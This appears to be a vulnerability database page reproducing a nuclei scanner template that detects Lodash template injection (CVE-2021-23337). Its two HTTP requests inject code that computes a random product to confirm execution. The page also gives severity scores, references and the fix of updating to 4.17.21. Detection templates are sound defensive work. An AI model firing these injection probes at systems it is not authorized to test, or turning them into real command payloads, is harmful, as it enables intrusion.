Lucene search
K

Lodash Template - Server-Side Template Injection (RCE)

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 7 Views

Lodash Template remote code execution in versions before 4.17.21; update to 4.17.21 or later.

Related
Refs
Code
id: CVE-2021-23337

info:
  name: Lodash Template - Server-Side Template Injection (RCE)
  author: DhiyaneshDk
  severity: high
  description: |
    Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
  impact: |
    Attackers can execute arbitrary commands on the host system, leading to full system compromise.
  remediation: |
    Update to version 4.17.21 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23337
    - https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724
    - https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c
    - https://github.com/advisories/GHSA-35jh-r3h4-6jhm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-23337
    cwe-id: CWE-94
    epss-score: 0.2241
    epss-percentile: 0.97407
  metadata:
    verified: true
    max-request: 2
    vendor: lodash
    product: lodash
    shodan-query: http.component:"lodash"
    fofa-query: body="lodash"
  tags: cve,cve2021,lodash,ssti,rce,nodejs,javascript

flow: http(1) || http(2)

variables:
  randA: "{{rand_int(1000, 9999)}}"
  randB: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        POST /template HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"template":"<%= name %>","variable":") { return String({{randA}}*{{randB}}) }; with(obj","data":{"name":"test"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{to_number(randA)*to_number(randB)}}"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: eval_result
        regex:
          - "[0-9]+"

  - raw:
      - |
        GET /render?tpl=hello&variable=)%7Breturn+String({{randA}}*{{randB}})%7D%3Bwith(obj HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{to_number(randA)*to_number(randB)}}"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: eval_result
        regex:
          - "[0-9]+"
# digest: 4a0a00473045022100cae2aa0753b5eb64480dc148e73a7e32729ef4bfe9629eaa5fca2016a82be6f702207e39d01911b4cd2e485c730dceb2942be2c5a90bd90f53a6f73dc583ea577028:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Apr 2026 05:44Current
6.9Medium risk
Vulners AI Score6.9
CVSS 26.5
CVSS 3.17.2
EPSS0.2241
7